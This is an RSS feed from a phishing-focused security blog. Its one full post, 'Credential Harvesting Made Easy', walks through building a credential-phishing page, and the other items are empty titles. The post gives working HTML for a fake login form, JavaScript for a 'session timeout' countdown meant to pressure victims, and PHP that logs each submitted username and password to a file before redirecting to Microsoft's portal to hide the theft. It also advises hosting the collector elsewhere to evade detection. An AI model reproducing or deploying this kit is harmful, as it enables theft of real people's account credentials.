<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Data Harvesting &#8211; phishandchips.io</title>
	<atom:link href="https://phishandchips.io/category/framework/data-harvesting/feed/" rel="self" type="application/rss+xml" />
	<link>https://phishandchips.io</link>
	<description>Discussing cybersecurity one byte at a time.</description>
	<lastBuildDate>Mon, 25 Sep 2023 20:03:38 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://phishandchips.io/wp-content/uploads/2023/09/cropped-phishandchips.io_-32x32.png</url>
	<title>Data Harvesting &#8211; phishandchips.io</title>
	<link>https://phishandchips.io</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">223541256</site>	<item>
		<title>Credential Harvesting Made Easy</title>
		<link>https://phishandchips.io/credential-harvesting-made-easy/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 25 Sep 2023 19:33:12 +0000</pubDate>
				<category><![CDATA[Data Harvesting]]></category>
		<category><![CDATA[Framework]]></category>
		<guid isPermaLink="false">https://phishandchips.io/?p=923</guid>

					<description><![CDATA[Here at P&#38;C, we believe the lowest-energy means to accomplish the task is often the best. In this article, we will set-up a credential trap payload in a few easy steps using tools that are readily available to anyone. Tools &#38; Materials To set-up this credential trap, you will need a text editor and a [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Here at P&amp;C, we believe the lowest-energy means to accomplish the task is often the best. In this article, we will set-up a credential trap payload in a few easy steps using tools that are readily available to <em>anyone</em>.</p>



<h2 class="wp-block-heading">Tools &amp; Materials</h2>



<p>To set-up this credential trap, you will need a text editor and a web server.<mark style="background-color:#9EF9FD" class="has-inline-color has-base-color"> We wouldn&#8217;t recommend using anything production-quality as publicizing a credential trap will likely get your domain flagged for suspicious content.</mark></p>



<p>That said, at your own risk.</p>



<h2 class="wp-block-heading">Sample Code?</h2>



<p>Yes, you may find our basic cred-trap, along with other materials from this site, on our GitHub:<br><a href="https://github.com/PhishAndChips-io/cred-trap">https://github.com/PhishAndChips-io/cred-trap</a></p>



<h2 class="wp-block-heading">How does it work?</h2>



<p>The primary payload is index.html.<br>You can see a LIVE version here:<br><a href="https://phishandchips.io/static/cred-trap/" target="_blank" rel="noreferrer noopener">https://phishandchips.io/static/cred-trap/</a></p>



<p>There&#8217;s a lot to unpack here.. so let&#8217;s go through it.</p>



<figure class="wp-block-image size-large wp-duotone-unset-1"><img fetchpriority="high" decoding="async" width="1024" height="427" src="https://phishandchips.io/wp-content/uploads/2023/09/cred-trap-1024x427.png" alt="" class="wp-image-924" srcset="https://phishandchips.io/wp-content/uploads/2023/09/cred-trap-1024x427.png 1024w, https://phishandchips.io/wp-content/uploads/2023/09/cred-trap-300x125.png 300w, https://phishandchips.io/wp-content/uploads/2023/09/cred-trap-768x320.png 768w, https://phishandchips.io/wp-content/uploads/2023/09/cred-trap.png 1207w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>here, we have some <a href="https://phishandchips.io/category/framework/social-engineering/" data-type="category" data-id="46">social engineering</a> at play&#8230;</p>



<ol class="wp-block-list">
<li>We have a timer (written in javascript) that says you have 00:30s to act quickly.</li>



<li>We have some reassuring message from your IT department&#8211;&#8220;We&#8217;ve added this <em>for your safety</em>&#8220;</li>



<li>We have a friendly placeholder in the template for a logo as well as a FAVICON&#8212; you know, for the <mark style="background-color:#D8E202" class="has-inline-color">really authentic experience</mark>.</li>
</ol>



<p></p>



<h3 class="wp-block-heading">Behind the Scenes&#8230;</h3>



<div class="wp-block-group has-black-background-color has-background has-global-padding is-layout-constrained wp-container-core-group-is-layout-95730b41 wp-block-group-is-layout-constrained" style="padding-top:0;padding-bottom:0">

<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">&nbsp;<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/form.html"><span style="color: #000000; font-weight: bold;">form</span></a> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;https://phishandchips.io/static/cred-trap/submit.php&quot;</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;row&quot;</span>&gt;</span> &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;col&quot;</span>&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/center.html"><span style="color: #000000; font-weight: bold;">center</span></a>&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/img.html"><span style="color: #000000; font-weight: bold;">img</span></a> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;URL/logo.png&quot;</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/center.html"><span style="color: #000000; font-weight: bold;">center</span></a>&gt;</span> &nbsp; &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;username&quot;</span> placeholder<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Username&quot;</span> required&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;password&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;password&quot;</span> placeholder<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Password&quot;</span> required&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Login&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a>&gt;</span> &nbsp; <br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/form.html"><span style="color: #000000; font-weight: bold;">form</span></a>&gt;</span></div></div>




<p class="has-small-font-size" style="padding-top:0px;padding-right:var(--wp--preset--spacing--30);padding-bottom:0px;padding-left:var(--wp--preset--spacing--30)">&lt;form> tag snippet.</p>
</div>



<p>Here is our form.. all it&#8217;s doing is passing the username and password fields to our submit.php&#8230; this file can be hosted <em>anywhere</em>, and if you&#8217;re into <a href="https://phishandchips.io/category/framework/evasion/" data-type="category" data-id="51">Evasion</a>, you will place it far away from your index.</p>



<p>Second&#8230; check out this countdown timer:</p>



<div class="wp-block-group has-black-background-color has-background has-global-padding is-layout-constrained wp-container-core-group-is-layout-95730b41 wp-block-group-is-layout-constrained" style="padding-top:0;padding-bottom:0">

<div class="codecolorer-container javascript blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Set the countdown duration in seconds</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">var</span> countdownDuration <span style="color: #339933;">=</span> <span style="color: #CC0000;">30</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Change this to your desired countdown duration</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Function to update the countdown display</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">function</span> updateCountdown<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">var</span> countdownElement <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;countdown&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">var</span> seconds <span style="color: #339933;">=</span> countdownDuration <span style="color: #339933;">%</span> <span style="color: #CC0000;">60</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Calculate the seconds</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">var</span> formattedSeconds <span style="color: #339933;">=</span> seconds <span style="color: #339933;">&lt;</span> <span style="color: #CC0000;">10</span> <span style="color: #339933;">?</span> <span style="color: #3366CC;">&quot;0&quot;</span> <span style="color: #339933;">+</span> seconds <span style="color: #339933;">:</span> seconds<span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Add leading zero if needed</span><br />
&nbsp; &nbsp; countdownElement.<span style="color: #660066;">textContent</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Session timeout in 00:&quot;</span> <span style="color: #339933;">+</span> formattedSeconds <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot; &quot;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Change text color to red if less than 10 seconds</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>countdownDuration <span style="color: #339933;">&lt;</span> <span style="color: #CC0000;">10</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; countdownElement.<span style="color: #660066;">style</span>.<span style="color: #660066;">color</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;red&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; countdownElement.<span style="color: #660066;">style</span>.<span style="color: #660066;">color</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;black&quot;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Set the default color</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Function to start the countdown</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">function</span> startCountdown<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; updateCountdown<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Update the countdown every second</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">var</span> countdownInterval <span style="color: #339933;">=</span> setInterval<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; countdownDuration<span style="color: #339933;">--;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>countdownDuration <span style="color: #339933;">&lt;=</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; clearInterval<span style="color: #009900;">&#40;</span>countdownInterval<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Stop the countdown when it reaches 0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;message-container&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&lt;p&gt;Your session has timed out.&lt;/p&gt;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #006600; font-style: italic;">// Redirect the user to a new page after the timeout (change the URL)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; window.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;https://portal.microsoft.com&quot;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Change the URL to your desired destination</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; updateCountdown<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">1000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// 1000 milliseconds = 1 second</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Start the countdown when the page loads</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; window.<span style="color: #660066;">onload</span> <span style="color: #339933;">=</span> startCountdown<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>




<p class="has-small-font-size" style="padding-top:0px;padding-right:var(--wp--preset--spacing--30);padding-bottom:0px;padding-left:var(--wp--preset--spacing--30)">Countdown function&#8212; javascript</p>
</div>



<p>This is pretty boiler-plate stuff&#8230; At the end of the countdown, we set the redirect URL to:  https://portal.microsoft.com, which should be a login page for Microsoft&#8212; this is to simulate &#8220;oops, you&#8217;ve been logged out&#8221;  </p>



<p>*NOTE.. if you&#8217;re not good with code, you can always ask <a href="https://chat.openai.com" data-type="link" data-id="https://chat.openai.com" target="_blank" rel="noreferrer noopener">ChatGPT</a></p>



<h3 class="wp-block-heading">Let&#8217;s see submit.php</h3>



<div class="wp-block-group has-black-background-color has-background has-global-padding is-layout-constrained wp-container-core-group-is-layout-95730b41 wp-block-group-is-layout-constrained" style="padding-top:0;padding-bottom:0">

<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;REQUEST_METHOD&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">===</span> <span style="color: #0000ff;">&quot;POST&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;username&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$password</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;password&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Open the file for appending</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;data.txt&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;a&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Append the data to the file</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;Username: &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;, &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;Password: &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$password</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Close the file</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Redirect back to the form page or a thank you page</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: https://portal.microsoft.com&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Invalid request.&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>




<p class="has-small-font-size" style="padding-top:0px;padding-right:var(--wp--preset--spacing--30);padding-bottom:0px;padding-left:var(--wp--preset--spacing--30)">submit.php</p>
</div>



<p>Short story goes&#8230; we just receive a POST to page, open data.txt, write the form contents, then redirect the user to portal.microsoft.com anyway&#8211;</p>



<p>And that&#8217;s it&#8230;</p>



<p>The output:</p>



<div class="wp-block-group has-black-background-color has-background has-global-padding is-layout-constrained wp-container-core-group-is-layout-95730b41 wp-block-group-is-layout-constrained" style="padding-top:0;padding-bottom:0">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">Username: TEST, Password: password<br />
Username: TEST, Password: TEST<br />
Username: go, Password: phish<br />
Username: anotha, Password: one<br />
Username: TEST, Password: 1234</div></div>




<p class="has-small-font-size" style="padding-top:0px;padding-right:var(--wp--preset--spacing--30);padding-bottom:0px;padding-left:var(--wp--preset--spacing--30)">data.txt </p>
</div>



<h2 class="wp-block-heading">Conclusion</h2>



<p>As we have demonstrated&#8230; it&#8217;s absolutely trivial to create a web form to harvest credentials. Login forms do not actually need to go anywhere or do anything to be effective. With 2x files and 30 lines of code (excluding styles and javascript), we can create an effective credential trap&#8230; small, but optional, embellishments complete the social engineering piece. </p>



<p class="has-text-align-center">What&#8217;s next?</p>



<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<p class="has-text-align-center">Related Topics</p>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-a89b3969 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline inter-section is-style-outline--2"><a class="wp-block-button__link has-secondary-color has-text-color has-text-align-center wp-element-button" href="https://phishandchips.io/category/framework/data-harvesting/">Data Harvesting</a></div>
</div>
</div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<p class="has-text-align-center">Next Topic</p>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-a89b3969 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline inter-section is-style-outline--3"><a class="wp-block-button__link has-secondary-color has-text-color wp-element-button" href="https://phishandchips.io/category/framework/evasion/">Evasion</a></div>
</div>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">923</post-id>	</item>
		<item>
		<title>Data Harvesting in Phishing: Stealing Secrets Silently</title>
		<link>https://phishandchips.io/data-harvesting-in-phishing-stealing-secrets-silently/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 16 Sep 2023 12:04:49 +0000</pubDate>
				<category><![CDATA[Data Harvesting]]></category>
		<guid isPermaLink="false">https://phishandchips.io/data-harvesting-in-phishing-stealing-secrets-silently/</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">347</post-id>	</item>
		<item>
		<title>Baiting for Data: How Phishers Extract Sensitive Information</title>
		<link>https://phishandchips.io/baiting-for-data-how-phishers-extract-sensitive-information/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 16 Sep 2023 12:04:49 +0000</pubDate>
				<category><![CDATA[Data Harvesting]]></category>
		<guid isPermaLink="false">https://phishandchips.io/baiting-for-data-how-phishers-extract-sensitive-information/</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">348</post-id>	</item>
		<item>
		<title>Beyond Credentials: What Cybercriminals Seek in Data Harvesting</title>
		<link>https://phishandchips.io/beyond-credentials-what-cybercriminals-seek-in-data-harvesting/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 16 Sep 2023 12:04:49 +0000</pubDate>
				<category><![CDATA[Data Harvesting]]></category>
		<guid isPermaLink="false">https://phishandchips.io/beyond-credentials-what-cybercriminals-seek-in-data-harvesting/</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">349</post-id>	</item>
		<item>
		<title>Data Exfiltration: Understanding the Flow of Stolen Information</title>
		<link>https://phishandchips.io/data-exfiltration-understanding-the-flow-of-stolen-information/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 16 Sep 2023 12:04:49 +0000</pubDate>
				<category><![CDATA[Data Harvesting]]></category>
		<guid isPermaLink="false">https://phishandchips.io/data-exfiltration-understanding-the-flow-of-stolen-information/</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">350</post-id>	</item>
		<item>
		<title>Protecting the Harvest: Safeguarding Your Data from Phishers</title>
		<link>https://phishandchips.io/protecting-the-harvest-safeguarding-your-data-from-phishers/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 16 Sep 2023 12:04:49 +0000</pubDate>
				<category><![CDATA[Data Harvesting]]></category>
		<guid isPermaLink="false">https://phishandchips.io/protecting-the-harvest-safeguarding-your-data-from-phishers/</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">351</post-id>	</item>
	</channel>
</rss>
